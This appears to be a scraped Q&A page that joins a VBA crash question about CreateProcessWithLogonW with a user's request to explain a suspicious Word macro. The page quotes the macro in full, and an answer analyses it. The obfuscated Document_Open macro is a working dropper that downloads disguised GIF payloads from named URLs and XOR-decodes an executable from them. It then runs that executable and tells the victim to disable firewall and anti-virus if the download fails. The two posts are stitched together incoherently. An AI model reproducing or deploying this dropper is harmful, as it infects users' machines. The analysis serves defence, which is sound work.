End Sub
This is the function;
Public Function User_RunAs(ByVal sUserName As String, ByVal sPassword As String, ByVal sDomain As String, ByVal sCommand As String) As Boolean
Dim lReturn As Long
Dim sApplication As String
Dim sDirectory As String
Dim tPInfo As PROCESS_INFORMATION
Dim tStart As STARTUPINFO
'/* default struct
sApplication = vbNullString
sDirectory = vbNullString
tStart.Cb = LenB(tStart)
tStart.dwFlags = 0&
lReturn = CreateProcessWithLogonW(StrPtr(sUserName), StrPtr(sDomain), StrPtr(sPassword), &H1, _
0&, StrPtr(sCommand), _
DEFAULT_LOGON, 0&, StrPtr(sDirectory), _
tStart, tPInfo)
' 1st row LongPtr LongPtr LongPtr Long
' 2nd row Long LongPtr
' 3rd row Long Long LongPtr
' 4th row Structure Structure
'/* success
If Not lReturn = 0 Then
User_RunAs = True
End If
'/* cleanup
If tPInfo.hProcess <> 0 Then
CloseHandle tPInfo.hThread
CloseHandle tPInfo.hProcess
End If
End Function
The definition is as follow;
'Types used by function User_RunAs
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
Cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Declare PtrSafe Function CreateProcessWithLogonW Lib "advapi32" (ByVal lpUserName As LongPtr, ByVal lpDomain As LongPtr, ByVal lpPassword As LongPtr, ByVal dwLogonFlags As Long, _
ByVal lpApplicationName As Long, ByVal lpCommandLine As LongPtr, _
ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As LongPtr, _
ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInfo As PROCESS_INFORMATION) As Long
Even when quiting the function just after the api call, Outlook crashes with next report;
When reading the MS documentation about compatibility on different bit version I found that on structures passed the Long must be replaced by LongPtr. See https://learn.microsoft.com/en-us/previous-versions/office/developer/office-2010/ee691831(v=office.14)
E.g. The passed structure
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
must now be;
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As LongPtr
dwThreadId As LongPtr
End Type
Sample context to let stack over flow post this question.
Here he tries to combine its working for mac and windows I suppose.
#If VBA7 And Win64 Then
Private Declare PtrSafe Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
this attacker seems to open this doc.
Sub Document_Open()
Dim wyqud As String
Dim zdwie As Long
Dim rufhd As Long
Dim bldos As Integer
Dim mufid() As Byte
#If Win64 Then
Dim kmvbf As LongLong
#Else
Dim kmvbf As Long
#End If
What is this doing?
ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
Set myRange = ActiveDocument.Content
With myRange.Font
.Name = "Verdana"
.Size = 14
End With
ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & " Please wait..."
Is this supposed to damage my computer?
DoEvents
DoEvents
DoEvents
DoEvents
wyqud = lwyfu
zdwie = Gshwjf(0, "http://adenzia.ch/_vti_cnf/bug.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
If zdwie <> 0 And rufhd < 152143 Then
zdwie = Gshwjf(0, "http://kingofstreets.de/class/meq.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
End If
If rufhd < 154743 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If
bldos = FreeFile
Open wyqud For Binary As #bldos
ReDim mufid(0 To LOF(bldos) - 1)
Get #bldos, , mufid()
Close #bldos
Call duwif(mufid())
Dont know what this is doing
wyqud = Left(wyqud, Len(wyqud) - 3)
wyqud = wyqud & "exe"
bldos = FreeFile
Open wyqud For Binary As #bldos
Put #bldos, , mufid()
Close #bldos
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"
End Sub
cleverly written unreadable code.
Public Function lwyfu() As String
Dim djfie As String * 512
Dim pwifu As String * 576
Dim dwuf As Long
Dim wefkg As String
dwuf = Uhdwuud(512, djfie)
If (dwuf > 0 And dwuf < 512) Then
dwuf = Uhduiuwd(djfie, 0, 0, pwifu)
If dwuf <> 0 Then
wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
End If
lwyfu = wefkg
End If
End Function
another function
Public Sub duwif(mufid() As Byte)
Dim dfety As Long
Dim bvjwi As Long
Dim wbdys As Long
Dim dvywi(256) As Byte
Dim wdals As Long
Dim dwiqh As Long
bvjwi = UBound(mufid) + 1
For dfety = 10 To 265
dvywi(dfety - 10) = mufid(dfety)
Next
wdals = UBound(dvywi) + 1
dwiqh = 0
For dfety = 266 To (bvjwi - 267)
mufid(dfety - 266) = mufid(dfety) Xor dvywi(dwiqh)
dwiqh = dwiqh + 1
If dwiqh = (wdals - 1) Then
dwiqh = 0
End If
Next
ReDim Preserve mufid(bvjwi - 267)
End Sub
end of the macro
The comments are correct; the macro downloads malware/spyware and executes it.
It tries both GIF URLs (and even prompts the user to disable their firewall/AV if the download fails). The two GIFs are identical (same SHA256 checksum), they have the appropriate GIF header block ("GIF89a"), and they even have some of the bytes describing what should be the image data.
The macro uses the duwif() subroutine (line 105) to extract the executable binary from the downloaded GIF. It stores that binary in a temp file, the reference for which is created by the lwyfu() function (line 90).
The macro then executes the binary on line 82:
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
You can modify the macro to remove/comment the execution statement and insert something harmless. For example:
REM kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
MsgBox wyqud
This opens a message box with the path to the extracted binary instead of executing it.
The binary checksum is (SHA256)
55f4cc0f9258efc270aa5e6a3b7acde29962fe64b40c2eb36ef08a7a1369a5bd
Several anti-virus providers flag this file as malware and an automated analysis shows some suspicious behavior.
VirusTotal.com Report
Hybrid-Analysis.com Report